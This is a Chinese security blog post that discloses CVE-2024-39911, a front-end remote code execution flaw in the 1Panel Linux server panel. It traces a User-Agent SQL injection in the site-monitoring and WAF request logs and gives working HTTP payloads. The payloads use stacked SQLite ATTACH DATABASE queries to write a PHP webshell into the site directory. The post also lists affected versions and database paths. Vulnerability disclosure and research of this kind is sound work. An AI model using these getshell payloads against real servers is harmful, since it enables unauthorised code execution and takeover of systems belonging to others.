首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

admin 2024年7月20日12:37:44评论163 views字数 3652阅读12分10秒阅读模式

0x00 漏洞描述

1Panel 是新一代的 Linux 服务器运维管理面板,用户可以通过 Web 图形界面轻松管理 Linux 服务器,实现主机监控、文件管理、数据库管理、容器管理等功能。且深度集成开源建站软件 WordPress 和 Halo.

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

0x01 影响范围

网站监控功能影响 == 1panel/openresty:1.21.4.3-3-1-focal

WAF功能影响 <= 1panel/openresty:1.21.4.3-3-1-focal

0x02 网站监控漏洞点详细

网站监控漏洞点利用条件:

专业版,并开启网站监控功能关闭waf功能安装有1P-openresty容器且搭建有php环境网站

这里会记录请求日志

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

他记录的字段有 re ua头等

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

在记录的字段上加上单引号会发现没有成功记录日志,猜测这里存在一个inser的sql注入

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

进一步验证因为数据库是sqlite,我们尝试一下字符串拼功能最后记录是啥样子的,发送数据包

User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b

发现字符串被拼接了,确定了这里存在一个insert的注入

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

这个功能的数据库在

/usr/local/openresty/1pwaf/data/db/sites/网站编号/site_req_logs.db

或者在宿主机的

/opt/1panel/apps/openresty/openresty/1pwaf/data/db/sites/网站代号

写入数据库语句的脚本在

/usr/local/openresty/1pwaf/lib/monitor_log.lua

执行的sql语句如下

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

INSERT INTO site_req_logs (            server_name, host,ip, ip_iso, ip_country_zh,            ip_country_en, ip_province_zh, ip_province_en,             uri, user_agent, method, status_code, referer,            spider, request_time, localtime, time, request_uri,            flow, day, hour, uv_id, referer_domain,            os,browser,device,pv_tag,uv_tag        ) VALUES (            '%s', '%s', '%s', '%s', '%s',            '%s', '%s', '%s',             '%s', '%s', '%s', %d, '%s',            '%s', %d, DATETIME('now'), %f, '%s',            %d, '%s', '%s', '%s', '%s',            '%s', '%s', '%s','%s','%s'        )

我们可控的位置在user_agent头也就是

VALUES (            '%s', '%s', '%s', '%s', '%s',            '%s', '%s', '%s',             '可控点', '%s', '%s', %d, '%s',            '%s', %d, DATETIME('now'), %f, '%s',            %d, '%s', '%s', '%s', '%s',            '%s', '%s', '%s','%s','%s'        )

0x03 网站监控点漏洞复现

测试 Payload:

GET / HTTP/1.1Host: 192.168.99.6User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#

发送后如果写入文件并输出C930b955726e241e6a7aa1e4184b54e7f就是存在

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

那么我们的思路是通过堆叠注入写出文件,到网站目录下,因为网站大部分是支持php的

Getshell Payload:

GET / HTTP/1.1Host: 192.168.99.6User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');#Connection: close

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)成功写入shell:首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

0x04 WAF漏洞点详细

WAF漏洞点利用条件:

开启waf功能安装有1P-openresty容器且搭建有php环境网站

先来一条会触发waf的规则

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

可以看到在waf拦截记录里面记录了

http://URL/xpack/waf/websites

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

可以看到记录的字段跟上面也差不多

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)直接测试有没有注入

User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b

可以看到最近得到的是拼接后的结果,这里存在注入

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

数据库的路径位于,是SQLite数据库

/usr/local/openresty/1pwaf/data/db/

里面有两个数据库文件,1pwaf.db 跟 req_log.db,一个是记录的waf的开关情况配置等,另外一个是我们需要的请求日志,我们的拦截日志就在这个库里面记录着

可以看到我们的拦截记录就在这里面

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

打开可以看到执行的sql语句

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

INSERT INTO req_logs (        id, ip, ip_iso, ip_country_zh, ip_country_en,        ip_province_zh, ip_province_en, ip_longitude, ip_latitude, localtime,         time,server_name,  website_key, host, method,        uri, user_agent, exec_rule, rule_type, match_rule, match_value,        nginx_log, blocking_time, action, is_block, is_attack    ) VALUES (        '%s', '%s', '%s', '%s', '%s',        '%s', '%s', %d, %d, DATETIME('now'),         %f,  '%s', '%s', '%s', '%s',         '%s', '%s', '%s', '%s', '%s', '%s',          '%s', %d, '%s', %d, %d    )

我们的可控点在第二个插入参数的位置

VALUES (        '%s', '%s', '%s', '%s', '%s',        '%s', '%s', %d, %d, DATETIME('now'),         %f,  '%s', '%s', '%s', '%s',         '%s', '可控点', '%s', '%s', '%s', '%s',          '%s', %d, '%s', %d, %d    )

0x05 WAF点漏洞复现

Getshell Payload:

GET /.git/config HTTP/1.1Host: 192.168.99.6User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#Connection: close

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

访问成功执行

首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

这里利用只要开启waf功能即可

最后是CVE编号 CVE-2024-39911

GitHubSecurity::

https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-7m53-pwp6-v3f5

注:上文已经过漏洞原作者授权所撰写

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

原文始发于微信公众号(星悦安全):首发0day-1Panel面板最新前台RCE漏洞(内附Poc)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月20日12:37:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   首发0day-1Panel面板最新前台RCE漏洞(内附Poc)https://cn-sec.com/archives/2973199.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息